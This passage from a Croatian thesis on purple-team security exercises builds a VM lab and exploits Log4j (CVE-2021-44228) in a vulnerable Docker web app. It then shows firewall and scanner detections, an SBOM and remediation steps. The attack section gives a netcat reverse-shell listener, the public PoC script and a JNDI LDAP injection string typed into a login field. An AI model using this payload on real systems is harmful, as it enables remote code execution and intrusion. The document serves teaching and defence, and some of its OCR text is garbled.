sustav na engleskom jeziku, ali tipkovnica je na poljskom jeziku. To je glavni nedostatak
automatiziranog postavljana Ubuntu operativnog sustava, problem se rjesava preuzimanjem

hrvatskog jezika te postavljenjem istog kao zadanog, ukljucujudi i tipkovnicu.

Ranjivu virtualnu masinu takoder je potrebno staviti u VLAN Koji je prethodno kreiran,
na isti na¢in kako je postavljena i napadacka virtualna masina. Upisivanjem naredbe ,,ip a“ u
terminal dobiva se pregled svih mreznih sucelja i njima dodijeljenih IP adresa. Ako je sve
postavljeno kako treba, bit ¢e vidljiva 2 mrezna sucelja, od kojih ¢e jedan od njih imati IP adresu

u rasponu VLAN-a, kao $to je vidljivo na slici 21.

[+ ubuntu@UbuntuVuln: ~/Desktop

g S ip a
: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul
glen 1060
link/loopback 00:00:00:00:00:00 brd 09:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
: enpBs3: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1508 qdisc fq_codel state UP gr
bup default glen 1060
link/ether 88:00:27:72:9a:78 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.8.2.255 scope global dynamic noprefixroute enp@s3
valid 1ft B6337sec preferred 1ft 86337sec
inet6 feBO::f280:6c46:22d5:24ea/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever
: enpBs8: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1508 qdisc fq _codel state UP gr
bup default glen 1060
link/ether 88:00:27:94:92:e3 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.107/24 brd 192.168.56.255 scope global dynamic noprefixroute
enpss
valid 1ft 537sec preferred 1ft 537sec
inet6 feBO::cO74:b767:6d41:c82e/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever

Slika 21: Mrezna sucelja Ubuntu virtualne masine

Na slici 22 vidljivo je kako korisnik nema administratorska prava, te zbog toga nije

moguce instalirati Git paket.
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[sudo] pa ord for ubuntu

ubuntu is not in the sudoers file. This incident will be reported.

Slika 22: Korisni¢ki raCun nema administratorska prava

Kako bi se taj problem rijesio, potrebno je korisniku dati administratorska prava, kao
Sto je prikazano na slici 23. Administratorska prava korisniku su dodijeljena pomocu izbornika

oporavka kojem se moZze pristupiti prilikom pokretanja virtualne maSine.

Slika 23: I1zbornik oporavka

Korisnika je potrebno dodati u ,,sudo* grupu i dodijeliti mu administratorska prava.
Zatim je potrebno na datoteku ,,sudoers.d postaviti prava 0440, tako da korisnik moze njoj
pristupiti u buduénosti unutar operativnog sustava.

Za kraj je potrebno postaviti ranjivu aplikaciju, medutim Ubuntu nema unaprijed

instaliran git paket, stoga ga je potrebno preuzeti prije nego $to je moguce preuzeti repozitorij.
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B $ sudo apt install git
[sudo] password for ubuntu:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
git-man liberror-perl
Suggested packages:
git-daemon-run | git-daemon-sysvinit git-doc git-email git-gui gitk gitweb
git-cvs git-mediawiki git-swvn
The following MEW packages will be installed:
git git-man liberror-perl
® upgraded, 3 newly installed, ©® to remove and 200 not upgraded.
Meed to get 4.147 kB of archives.
After this operation, 21,0 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://hr.archive.ubuntu.comfubuntu jammy/main amd64 liberror-perl all o.
7029-1 [26,5 kB]
Get:2 http://hr.archive.ubuntu.comfubuntu jammy-updates/main amd64 git-man all
:2.34.1-1ubuntul.9 [954 kB]
Get:3 http://hr.archive.ubuntu.comfubuntu jammy-updates/main amd64 git amd64 1:
.34.1-1ubuntul.9 [3.166 kB]
Fetched 4.147 kB in @s (12,2 MB/s)
Selecting previously unselected package liberror-perl.
(Reading database ... 204608 files and directories currently installed.)
Preparing to unpack .../liberror-perl 8.17829-1 all.deb
Unpacking liberror-perl (0.17029-1)
Selecting previously unselected package git-man
Preparing to unpack .../git-man_1%3a2.34.1-1ubuntul.9 all.deb
Unpacking git-man (1:2.34.1-1ubuntul.9)
Selecting previously unselected package git
Preparing to unpack .../git 1%3a2.34.1-1ubuntul.9 amd64.deb ...
Unpacking git (1:2.34.1-1ubuntul.9)
Setting up liberror-perl (0.17029-1)
Setting up git-man (1:2.34.1-1ubuntul.9)
Setting up git (1:2.34.1-1ubuntul.9)
Processing triggers for man-db (2.10.2-1)
g S

p

Slika 24: Instalacija git paketa

Kako bi se instalirale potrebne biblioteke potrebno je instalirati python programski
jezik, a nakon toga moguce je instalirati i Docker paket. Prije nego li se moze pokrenuti Docker
spremnik (ranjiva aplikacija), potrebno je u preuzeti staviti Java verziju koja je ranjiva u git
repozitorij, a ona se moze skinuti sa sluzbene stranice. Potrebno ju je staviti i u ranjivu masinu
i u napadacku masinu. Za kraj potrebno je izgraditi i pokrenuti Docker ranjivu aplikaciju. Ako
je sve ispravno napravljeno, moguce je provjeriti postoji li web aplikacija na localhost:8080 u

Internet pregledniku. Ako postoji, treba izgledati ovako:
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@ | localhost:8080/ % | + v B & &

« @ O O localhost:080 w @1 =

Hello Again!

Welcome Back

GoFinance

The most popular peer to peer lending at SEA

Forgot Password ?

Slika 25: Ranjiva web aplikacija

6.3. Proces iskoristavanja ranjivosti

Ranjivost se bazira na mogucnosti izvrSavanja udaljenog napada putem zlouporabe
funkcionalnosti za obradu log zapisa. Konkretno, ranjivost se odnosi na neispravnu obradu log
poruka koje sadrze odredene ulazne podatke koji se mogu kontrolirati od strane zlonamjernog
aktera. IskoriStavanje ove ranjivosti moze omoguciti zlonamjernom akteru izvrSavanje
zlonamjernog koda na ranjivom sustavu koji koristi Log4j biblioteku. Zlonamjerni akter moze
iskoristiti ranjivost putem manipulacije log porukama koje se $alju aplikaciji koja koristi Log4;.
Ova ranjivost je posebno opasna jer zlonamjerni akter moze izvrSiti udaljene napade bez

potrebe za autentifikacijom, [27].

Najveéi problem ove ranjivosti je $to ju je izuzetno lagano iskoristiti u zlonamjerne
svrhe. Postoji mnogo sli¢nih nacina na koje se ova specificna ranjivost moze iskoristiti, a za

konkretan primjer prikazat ¢e se samo jedan primjer.

Do neovlastenog pristupa moguce je do¢i u samo tri koraka. Prvi korak je pokretanje
netcat alata koji slusa i ¢eka na odredenom portu, u ovom slucaju odabran je port 9001, kao $to

je prikazano na slici 26:
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kali® kali ~fDesktop
% Saal
[sudo] password for kali:
listening on [any] 9801

Slika 26: Netcat alat

Ova naredba pokrece netcat s odredenim opcijama i1 postavkama. Opcija ,,-1* oznacava
na netcat treba biti u ,,listen* modu, tj. priprema se za primanje dolaznih veza. Opcija ,,-v*
omogucuje "verbose" nacin rada, Sto zna¢i da ¢e netcat ispisivati detaljnije informacije o
aktivnostima. Opcija ,,-n“ onemogucuje rezoluciju DNS-a (engl. Domain Name System), ¢ime

se osigurava brze pokretanje netcat-a. Opcija ,,-p* postavlja odabrani broj porta na 9001.

Nakon toga pokrece se poc.py skripta s odredenim parametrima koji se ocekuju za
postavljanje LDAP i HTTP servera. Opcija ,,--webport 8000 indicira port koji ¢e se Kkoristiti
za pokretanje HTTP servera, a opcija ,,--lport 9001 indicira port koji ¢e se koristiti za
pokretanje LDAP servera. Opcija ,,--userip“ odreduje koja ¢e se IP adresa koristiti.

kali® kali ~/log4j-shell-poc
$ poc.py 192.168.56.102 8000 9001
[ f Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 9.8.8.8:1389

Slika 27: IzvrSavanje python skripte za postavljanje LDAP i HTTP servera

U pocetku, skripta uvozu razli¢ite module koji ¢e se koristiti za svoje funkcionalnosti,
kao S§to su ,,argparse* za parsiranje argumenata s terminala, ,,colorama* za obojenu uzlaznu
poruku, ,subprocess za izvrSavanje sistemskih naredbi, ,threading™ za koriStenje vise
procesorskih jezgri, ,,pathlib® za ras s putanjama datoteka, ,,0s* za funkcionalnosti vezane uz

operacijski sustav, te ,,http.server za pokretanje HTTP posluzitelja.

Skripta zatim definira konstantu koja predstavlja putanju do trenutne mape u kojoj se
skripta izvrSava. Nakon toga slijedi funkcija ,,generate _payload®, koja generira Java program
koji sadrzi kod za iskoriStavanje Log4j ranjivosti. Ovaj program se Koristi za uspostavljanje
veze s odredenim posluziteljem, izvrSavanje naredbi na tom posluzitelju i1 prenosSenje podataka
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izmedu napadaca i zZrtve napada. Nakon toga definira se funkcija ,,payload”. Ova funkcija
koristi ,,generate payload* kako bi generirala Java payload i zatim pokrece LDAP posluzitelj

na novoj jezgri. Takoder postavlja HTTP posluzitelj za obradu web zahtjeva.

Nakon toga, skripta definira funkciju ,ldap server koja generira URL za LDAP
posluzitelj koriste¢i IP adresu korisnika i odabrani lokalni prikljuak. Zatim izvrSava Java
naredbu pomocu specificne JAR datoteke kako bi pokrenula LDAP posluzitelj. Glavna funkcija
,main“ upravlja glavnim tijekom izvrSavanja skripte. Ona pokre¢e sve prethodno definirane
funkcije i provjerava je li Java platforma instalirana prije iskoriStavanja Log4j ranjivosti. Na

kraju, skripta izvrSava funkciju ,,main® kako bi iskoristila Log4j ranjivost.

Autor napominje kako ova skripta sluzi samo za edukacijske svrhe te da je koristenje

ove ranjivosti u druge svrhe bez odgovarajucih dozvola neeti¢no i protuzakonito.

Sve §to je ostalo je izvrSiti sami napad iskoriStavanja ranjivosti na ranjivoj aplikaciji koja
je postavljena na ranjivoj virtualnoj masini. U ovom primjeru to se postize pristupanju ranjivoj
aplikaciji preko internetskog pretrazivaca kao S$to su Google Chrome, Mozilla Firefox i sl.
Nakon $to je pristupljeno toj aplikaciji, vidljiva su polja za upisivanje korisnickog imena i
lozinke. Za dobivanje neovlastenog pristupa potrebno je u polje korisnickog imena upisati

odredenu sintaksu, kao $to je vidljivo na slici 28:

${jndi:ldap://192.168.56.106:1389/a}

Hello Again!

Welcome Back

${jndi:ldap://192.168.56.106:1=

ggwp

Forgot Password ?

Slika 28: IskoriStavanje ranjivosti web aplikacije
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Ova sintaksa radi na na¢in da pokrene JNDI pretrazivanje na temelju navedene URL
adrese ,,1dap://192.168.56.106:1389/a“, zatim se kontaktira taj zlonamjerni LDAP posluzitelj
koji vraca odgovor. Taj odgovor moze sadrzavati Java kod. Log4j zatim izvrSava taj kod, te se

na taj nacin postize neovlasten pristup.

Nakon toga, u terminalu gdje je pokrenut netcat, moze se vidjeti kako je dobiven

neovlasteni pristup svim podacima pohranjenim na tom posluzitelju, kao $to je vidljivo na slici
29.

kali® kali ~fDesktop
% apal
[sudo] password for kali:
listening on [any] 9801 ...
connect to [192.168.56.182] from (UNKNOWN) [192.168.56.1@81] 56514
s
LICENSE
NOTICE
RELEASE-NOTES
RUNNING. txt
bin
conf
include
lib
logs
native-jni-1lib
temp
webapps
work

Slika 29: Neovlasteni pristup web aplikaciji

6.4. Analiza prikupljenih podataka
Nakon provodenja napada iskoriStavanja ranjivosti Log4j potrebno je sloziti strukturiranu
dokumentaciju koja sadrzi sve vazne informacije o napadu, te se tako mogu odrediti prioriteti

za zakrpu sigurnosnih rupa i poboljSanja. Ta analiza treba obuhvatiti sljedece elemente:

1. Identifikacija ranjivosti: identifikacija svih ranjivosti koje su otkrivene tijekom
izvrS8avanja vjeZbe ljubicastog tima. Ukljucuje identifikaciju ranjivih tocaka,
sigurnosnih propusta ili slabih karika u aplikaciji ili sustavu.

2. Utjecaj ranjivosti: Analiza treba procijeniti potencijalni utjecaj svake ranjivosti na
sigurnost aplikacije ili sustava. Ovo ukljucuje razumijevanje mogucénosti zloupotrebe
ranjivosti, potencijalnog oStec¢enja ili gubitka podataka, prekid rada ili moguceg
utjecaja na korisnike.

3. Razlozi i1 uzorci ranjivosti: Potrebno je istraziti razloge postojanja ranjivosti, a to
moze ukljucivati lo$ dizajn, greske u kodu, neispravne konfiguracije ili propuste u

sigurnosnom procesu.
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4. Procjena rizika: Potrebno je procijeniti rizik koji svaka ranjivost predstavlja za
organizaciju. To ukljucuje vrednovanje vjerojatnosti iskoriStavanja ranjivosti i
moguceg utjecaja na poslovanje, povjerljivost, integritet i dostupnost sustava.

5. Naucene pouke (engl. lessons learned): Analiza treba sadrzavati pouke naucene iz
provedenih vjezbi. Ukljucuje identifikaciju najvaznijih sigurnosnih lekcija,
nedostataka u postupcima ili praksama te preporuke za poboljsanje buduéih vjezbi i
sigurnosnih postupaka.

6. Izvjesce o zakljuCcima: Analiza treba rezimirati sve zakljucke i1 nalaze u obliku
pisanih izvjesc¢a. To izvjeS¢e mora biti jasno i sazeto, ali istovremeno informativno i
detaljno, kako bi moglo sluziti kao referenca za donosenje odluka i planiranje
sigurnosnih aktivnosti u buduénosti.

7. Komunikacija i suradnja: Analiza bi trebala biti temelj za komunikaciju izmedu
crvenog i plavog tima, jer bez razmjene informacija izmedu timova ljubicasti tim ne

postoji, [27].

U nastavku su podaci prikupljeni na resursima organizacije, koji predstavljaju sto plavi
tim vidi tijekom izvodenja napada crvenog tima u vjezbi ljubicastog tima, a u ovoj studiji

slu¢aja to su podaci prikupljeni od strane raznih alata koji se koriste u organizacijama.

6.5. IzvjeStaj vatrozida

Ponavljanjem studije slufaja na resursima organizacije, dobiveni su razni izvjeStajni
podaci. Za pocetak prikazati ¢e se podaci koje su prikupili vatrozid Palo Alto Panorama i
Windows 365 Defender.
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{ PANORAMA

Device G t
DASHBOARD ACC MONITOR POLICIES OBJECTS NETWORK DEVICE

Panarama v Device Group | Al v
= Logs () [ name-of-threatid eq 'Apache Log4j Remote Code Execution Vulnerability )
'_:T';_ Traffic
E‘j Threat TO
- L GENERATE TIME | SEVERITY TYPE THREAT ID/NAME APPLICATION PORT | ACTION
ﬁ\ URL Filtering

g WildFire Submisslons L i 06/05 01:04:27 m u il web-browsing 80 eset-both
@ Data Filtering E vl il web-browsing 80 eset-both
E2 HIP Match v
;: GlobalProtect E H vl il web-browsing 80 eset-both
=2 1p-Tag
B3 User-ID E i vl il web-browsing 80 eset-both
t5 Decryption
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Slika 30: Palo Alto Panorama vatrozid

Palo Alto je centralizirani upravljacki sustav koji omogucuje upravljanje i nadzor Palo
Alto Networks sigurnosnih rjeSenja, ukljucujuéi vatrozide. Palto Alto Networks je poznat po
naprednim vatrozidovima koji pruzaju zastitu mreze i kontrole prometa. Panorama pruza
srediSnje mjesto za konfiguriranje, upravljanje i nadgledavanje Palo Alto vatrozida, ukljucujuéi
postavljanje sigurnosnih pravila, pra¢enje dogadaja i upravljanje sigurnosnim politikama. Na
slici 32 vidljivo je kako je Palo Alto vatrozid primijetio pokusaj iskoriStavanja ranjivosti.
Osijetljive informacije su cenzurirane, ali vidljivi su imena stupaca. Mogu se vidjeti vrsta i ime
pojedine prijetnje, iz koje zone dolazi napad, u kojoj se zoni napada uredaj s navedenom
ranjivosti, IP adresa izvornog uredaja i zrtve napada, ozbiljnost ranjivosti itd. Prepoznavanje
napada moguce je samo zasto to u ovom slucaju promet nije kriptiran. Ako je promet kriptiran,
vatrozid ne bi mogao napraviti depaketizaciju 1 provjeriti sadrZzaj paketa, te ne bi mogao

prepoznati pokusaj iskoriStavanja ranjivosti.
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Slika 31: Microsoft 365 Defender

Microsoft 365 Defender integrirano je sigurnosno rjeSenje koje pruza zastitu na
razli¢itim razinama, ukljucujuéi zaStitu na razini mreze i1 aplikacija. lako Microsoft 465
Defender nije specificno vatrozid rjeSenje, Microsoft pruza vatrozid funkcionalnosti putem
drugog proizvoda po nazivom ,,Microsoft Defender Firewall®, koji je ugraden u Windows
operativne sustave te pruza zastitu na razini racunala i mreze. Na slici 33. jasno je vidljivo kako
je vatrozid prepoznao koje su verzije Log4j instalirane na racunalo te ih je uspje$no prepoznao
kao ranjivosti. A na slici 34. vidi se predloZzeni postupak za otklanjanje ranjivosti, u ovom
slucaju rjeSenje bi bilo ili nadogradnja Apache Log4j na noviju verziju ili koriStenje drugog

alata s istom funkcionalnosti koji nema tu ranjivost.
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Update Apache Log4j
e wt

Slika 32: Predlozeni koraci za otklanjanje ranjivosti unutar Microsoft 365 Defendera

6.6. IzvjeStaj mreznog i lokalnog skenera

InsightVM je rjeSenje za upravljanje ranjivostima (engl. Vulnerability Management
Solution) koje pruza tvrtka Rapid7. To je alat koji pruza zajednic¢ko glediste i zajednicki jezik
potreban za uskladivanje tradicionalno izoliranih timova. Takoder potice proaktivan pristup
upravljanju ranjivostima s pracenjem i metrikom. Neke funkcije koje InsightVM nudi su
lightweight agent krajnjih tocaka, real-time nadzorna ploca, odredivanje prioriteta rizika,

integrirani agenti za simulaciju prijetnji i izvrSavanje simulacije iskoriStavanja ranjivosti itd.

Opcenito, lokalni skener je alat koji se koristi za pronalazenje i upravljanje uredajima na
mrezi. Lokalni skener skenira lokalnu mrezu, traze¢i spojene uredaje unutar nje, dok mrezni
skener ima mogucnost skeniranja $ire mreze, ukljucujuci udaljenje mreze. Informacije koje ti
skeneri mogu pruziti o pronadenim uredajima su njima dodijeljene IP adrese, hostname i MAC

adrese, operativne sustave itd.
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Slika 33: InsightVM tvrtke Rapid7

Na slici 35. vidljiv je mrezni 1 lokalni skener InsightVM, koji ima sposobnost provjere
ranjivosti koje se mogu iskoristiti preko mreze - RCE. Osjetljive informacije su cenzurirane.
Na donjoj polovici slike 35. jasno su vidljive ranjivosti koje su pronadene, na nekima postoje
11kone ispred stupca CVSS koje pokazuju kako je InsightVM uspjesno replicirao iskoriStavanje
ranjivosti koriste¢i MetaSploit ili neki drugi alat. Takoder pokazuje ozbiljnost (engl. severity),
broj instanci, kada je prvi put ta ranjivost publicirana itd. Graf trendova prikazuje promjenu u
sigurnosnom stanju organizacijskih resursa tijekom vremena. Na vodoravnoj osi nalazi se
vremenska o0s, a na vertikalnoj osi prikazuje se neki relevantni pokazatelj sigurnosti. Na grafu
su vidljiva povecanja 1 smanjenja broja ranjivosti, trendovi u riziku i u¢inkovitost organizacije

u rjeSavanju otkrivenih ranjivosti.

44



Slika 34: InsightVM detalji o Log4j ranjivosti
Na slici 36. prikazani su detalji o ranjivosti Log4j. Moze se primijetiti kako je ranjivosti
dodijeljen unikatan 1D (engl. Identifier), njegova ozbiljnost, ocjena rizi¢nosti, te sazetak nacina
na koji funkcionira iskoriStavanje ranjivosti. Zatim, pod sekcijom ,,Instances* mogu se tocno
vidjeti koje su zahvacene datoteke 1 koja verzija Apache Log4j je instalirana na masini. Na dnu

slike detaljno su opisani nacini iskoriStavanja te ranjivosti.

6.7. Popis komponenti softvera Dockera ranjive aplikacije

Popis komponenti softvera (engl. Software Bill of Materials, SBOM), je datoteka koja
sadrzi popis svih komponenti softvera koje su koriStene unutar Docker spremnika. Za
generiranje ove datoteke koristio se API (engl. Application Programming Interface) otvorenog
koda zvan Anchore, te alati Syft i Grype. Naredba koja se koristila za dobivanje ovog popisa
komponenti, vidljivih na slikama 35 i 36 je:

$ sudo syft packages docker:log4j-shell-poc -0 json | grype
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589 logdj-core 2.14.1 2.16.9 GHSA-7rjr-3g55-vw33 Critical
598 logdj-core 2.14.1 2.17.1 GHSA-8480-44mv-ggi8 Medium
591 logdj-core 2.14.1 2.15.8@ GHSA-jfth8-c2jp-5v3q Critical
592 logdj-core 2.14.1 2.17.8 GHSA-p6xc-xr62-6r2g High

593 logdj-core 2.14.1 CVE-2821-44228 Critical
594 logdj-core 2.14.1 CVE-2821-44832 Medium
595 logdj-core 2.14.1 CVE-2821-45846 Critical
596 logdj-core 2.14.1 CVE-20821-45185 Medium

Slika 35: Popis komponenti softvera za Log4j

tomcat-jdbc 8.8.36 CVE-2816-8762 Medium
tomcat-jdbc 8.8.36 CVE-2816-5818 Critical
tomcat-jdbc 8.8.36 CVE-2816-5388 High
tomcat-jdbc 8.8.36 CVE-2816-5425 High
tomcat-jdbc 8.8.36 CVE-2816-6325 High
tomcat-jdbc 8.8.36 CVE-20816-6794 Medium
tomcat-jdbc 8.8.36 CVE-2816-6796 High
tomcat-jdbc 8.8.36 CVE-2816-6797 High
tomcat-jdbc 2.8.36 CVE-2816-6816 High
tomcat-jdbc 8.8.36 CVE-2816-8735 Critical
tomcat-jdbc 2.8.36 CVE-2816-8745 High
tomcat-jdbc 2.8.36 CVE-2817-12617 High
tomcat-jdbc 2.8.36 CVE-2817-5647 High
tomcat-jdbc 8.8.36 CVE-2817-5648 Critical
tomcat-jdbc 8.8.36 CVE-2817-5664 High
tomcat-jdbc 8.8.36 CVE-20817-7674 Madium
tomcat-jdbc 8.8.36 CVE-20818-1384 Madium
tomcat-jdbc 8.8.36 CVE-2@818-1385 Madium
tomcat-jdbc 8.8.36 CVE-2818-1336 High
tomcat-jdbe 8.8.36 CVE-20818-8814 Critical
tomcat-jdbe 8.8.36 CVE-2812-8834 High
tomcat-jdbc 8.0.30 CVE-2820-8022 High

Slika 36: Popis komponenti softvera za tomcat

Generirana datoteka u sebi sadrzi 5 stupaca: Ime paketa, instalirana verzija, u kojoj verziji

je popravljena ranjivost, unikatan 1D ranjivosti, te njezina ozbiljnost.

6.8. Otklanjanje ranjivosti

Log4j ranjivost moze se otkloniti na nekoliko nac¢ina. Jedan nacin je aZuriranje ranjive
aplikacije 1li biblioteke na noviju verziju koja sadrzi zakrpu te specificne ranjivosti. Potrebno
je provjeriti koji sve sustavi i aplikacije koriste tu biblioteku i jesu li one osjetljive na tu
ranjivost. AKo jesu, potrebno ih je azurirati na noviju verziju. Zatim, moguce je iskljuciti INDI
(engl. Java Naming and Directory Interface) lookup u Log4j konfiguraciji, kako bi se smanjio
rizik od ranjivosti. Takoder je moguce koriStenje vatrozida i sustava za detekciju/upade (IDS i
IPS) kako bi se ogranicio pristup prema Log4j serverima i blokirao potencijalno zlonamjerne
upite koji pokuSavaju iskoristiti ranjivost. Na kraju, moze se poboljsati nadzor mreznog
prometa kako bi se otkrile sumnjive aktivnosti. Nadzor i analiza mreznog prometa moze pomoci

u otkrivanju pokusaja iskoriStavanja ranjivosti, [27].

46



7. Zakljucak

Analiza tehnika i alata ljubiCastog tima u svrhu unaprjedenja sigurnosti u organizacijama
pokazuje znaCajnu vrijednost i potencijal ovog suradnickog pristupa u borbi protiv
kibernetickih prijetnji. Ljubicasti tim, koji se sastoji od crvenog i plavog, tj. ofenzivnog i
defenzivnog tima, kombinira taktike i tehnike oba tima kako bi identificirao ranjivosti i slabosti
u sustavima organizacije. Kroz emulaciju zlonamjernih aktera, ljubicasti tim kreira realisti¢ne
scenarije napada i testira obranu resursa organizacije. KoriStenje metodologije emulacije
zlonamjernih aktera omogucuje ljubi¢astom timu da stekne bolje razumijevanje tehnika i
taktika koje zlonamjerni akteri koriste te pronalazak ranjivosti koje bi se uobicajeno mogle
previdjeti. Kroz primjenu prilagodenog PDCA procesa, tj. PEIR modela, ljubicasti tim
usmjerava se na kontinuirano poboljSanje sigurnosnih mjera i sposobnosti odgovora na
sigurnosne incidente. Ovaj ciklus osigurava da se organizacija brzo prilagodava promjenjivom
krajoliku sigurnosti. Evaluacija u¢inkovitosti ljubicastog tima moguca je kroz razne metrike
kao S§to su prosje¢no vrijeme otkrivanja, prosjecno vrijeme reakcije, prosjecno vrijeme

oporavka, prosje¢no vrijeme za suzbijanje, dostupnost sustava itd.

KoriStenjem alata poput vatrozida, mreznog i lokalnog skenera, te raznih platformi za
upravljanjem sigurnosti resursa organizacije, omogucuje se cjelovit uvid u sigurnosno stanje
organizacijskih resursa, omogucuje se aktivno skeniranje, nadzor u oblaku itd. Takvi alati
pomazu ljubic¢astom timu u identificiranju ranjivosti, smanjenju rizika od potencijalnih napada
te osigurava organizacijama adekvatan odgovor na sigurnosne incidente. Tijekom izvrSavanja
vjezba ljubiCastog tima, izuzetno je bitno dokumentirati cijeli proces i napraviti analizu
prikupljenih podataka. Ta analiza treba obuhvatiti sljedece elemente: identifikacija ranjivosti,
utjecaj ranjivosti, razlozi i uzorci ranjivosti, procjena rizika, nauc¢ene pouke, izvjeSée o
zaklju¢cima, komunikacija i suradnja. Provodenjem studije slucaja prikazano je kako izvrsiti
jednu jednostavnu vjezbu ljubicastog tima, gdje je izvrSen proces iskoriStavanja ranjivosti te
analiza prikupljenih podataka, a dodatno je 1 prikazan rad raznih alata koji se koriste za zastitu
od kiberneti¢kih napada. Analiza tehnika i alata ljubi¢astog tima ukazuje na njihovu vaznost u
unaprjedenju sigurnosti organizacija, a strategije koje koristi ljubicasti tim postaje kljucni
element u borbi protiv sve sofisticiranijih napada i osigurava odrzivu digitalnu sigurnost

organizacija.
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Popis kratica

API Application Programming Interface
ART Atomic Red Team

BAS Breach Attack Simulation

CERT Computer Emergency Response Team
CTI Cyber Threat Intelligence

DDoS Distributed Denial of Services
DNS Domain Name System

EDR Endpoint Detection and Response
GDPR General Data Protection Regulation
ID Identifier

IDS Intrusion Detection System

IP Internet Protocol

IPS Intrusion Prevention System

ISO Identical Storage Image

JNDI Java Naming and Directory Interface
LAN Local Area Network

MTBF Mean Time Between Failures
MTTA Mean Time To Acknowledge
MTTC Mean Time To Contain

MTTD Mean Time To Detect

MTTR Mean Time To Recovery

NIST/SANS National Institute of Standards and Technolog/SysAdmin, Audit, Network and
Security

PCI DSS Payment Card Industry Data Security Standard

PDCA Plan-Do-Check-Act

PEIR Prepare-Execute-ldentify-Remediate
RAM Random Access Memory

RCE Remote Code Execution

ROI Return on Investment
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SBOM
SIEM
SLA
SOC
SOP
TTP
uUSB
VLAN
VM

Software Bill of Materials

Security Information and Event Management
Service Level Agreement

Security Operations Center

Standard Operating Procedures

Tactics, Techniques, and Procedures
Universal Serial Bus

Virtual Local Area Network

Virtual Machine
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